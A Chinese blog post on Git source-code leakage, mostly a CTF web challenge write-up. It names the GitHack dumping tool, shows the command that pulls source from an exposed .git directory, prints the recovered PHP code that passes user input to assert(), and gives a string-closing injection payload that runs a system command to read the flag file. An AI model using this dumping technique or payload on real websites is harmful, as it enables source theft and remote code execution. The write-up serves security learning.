美文网首页
Git源码泄露

Git源码泄露

作者: gelinlang | 来源:发表于2019-03-22 23:40 被阅读0次

Git信息泄露的危害很大,可直接从源码获取敏感配置信息(如:邮箱,数据库),也可以进一步审计代码,挖掘文件上传、SQL注射等安全漏洞。缺陷编号:wooyun-2015-0117332。

获取利用代码:https://github.com/lijiejie/GitHack

实例:一道web题,My PHP Website。页面就就三个,home,about,contact。F12看源码,提示有个flag页面,访问是空的。其中在about中显示了使用了git,于是看下能不能导出源码来分析。
使用 python GitHack.py IP/.git
可以看到index源码如下:

<?php 
if (isset($_GET['page'])) { 
$page = $_GET['page']; } 
else { 
$page = "home"; 
} 
$file = "templates/" . $page . ".php"; 
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!"); 
assert("file_exists('$file')") or die("That file doesn't exist!"); ?>

对file没有处理,直接构造payload

') or system('cat templates/flag.php');//

意思是先将strpos函数闭合,然后调用系统命令查看template目录下的flag.php,再把后面注释掉 。
访问后得到flag

相关文章

  • 信息收集系列(三)

    敏感信息泄露 旁站、c段 waf探测 敏感信息泄露 .hg源码泄露 检测工具 dvcss-ripper .git源...

  • lottery!(about /.git)

    一道关于git源码泄露的题,题不是很难,但是我第一次见遇到这种git源码泄露的题型,所以记录一下;打开题目: 发现...

  • Git源码泄露

    Git信息泄露的危害很大,可直接从源码获取敏感配置信息(如:邮箱,数据库),也可以进一步审计代码,挖掘文件上传、S...

  • 攻防世界 lottery

    .git源码泄露/题目也给了附件下载源码/访问robots.txt也能看到.git代码审计,审了好久都没找到漏洞点...

  • 攻防世界(进阶)--WEB--14.mfw

    考察点:git漏洞,代码审计 1.进入场景 访问.git目录,疑似存在git源码泄露 2.使用 GitHack获取...

  • QCTF WP(小萌新的WP)

    Web Lottery 通过尝试swp,bak,git,发现其存在Git源码泄露(一开始还把403认成404)(实...

  • 攻防世界-Web-mfw

    题目信息: 打开题目场景,检查网站,发现这样一个页面 访问.git目录,疑似存在git源码泄露 再用dirsear...

  • 2022-09-01 CTFer——Web入门

    一、信息收集 敏感目录泄露 1、git泄露 2、git回滚 3、git分支 4、git泄露的其他利用 敏感备份文件...

  • 攻防世界mfw & unserialize3

    mfw.git源码泄露先用githack下载源码,审一下发现两个assert() 这里两个地方都可以注入,payl...

  • GXYCTF2019-WEB-禁止套娃

    复现地址:[https://buuoj.cn/challenges] 0x00知识点:.git文件源码泄露无参数R...

网友评论

      本文标题:Git源码泄露

      本文链接:https://www.haomeiwen.com/subject/kuadvqtx.html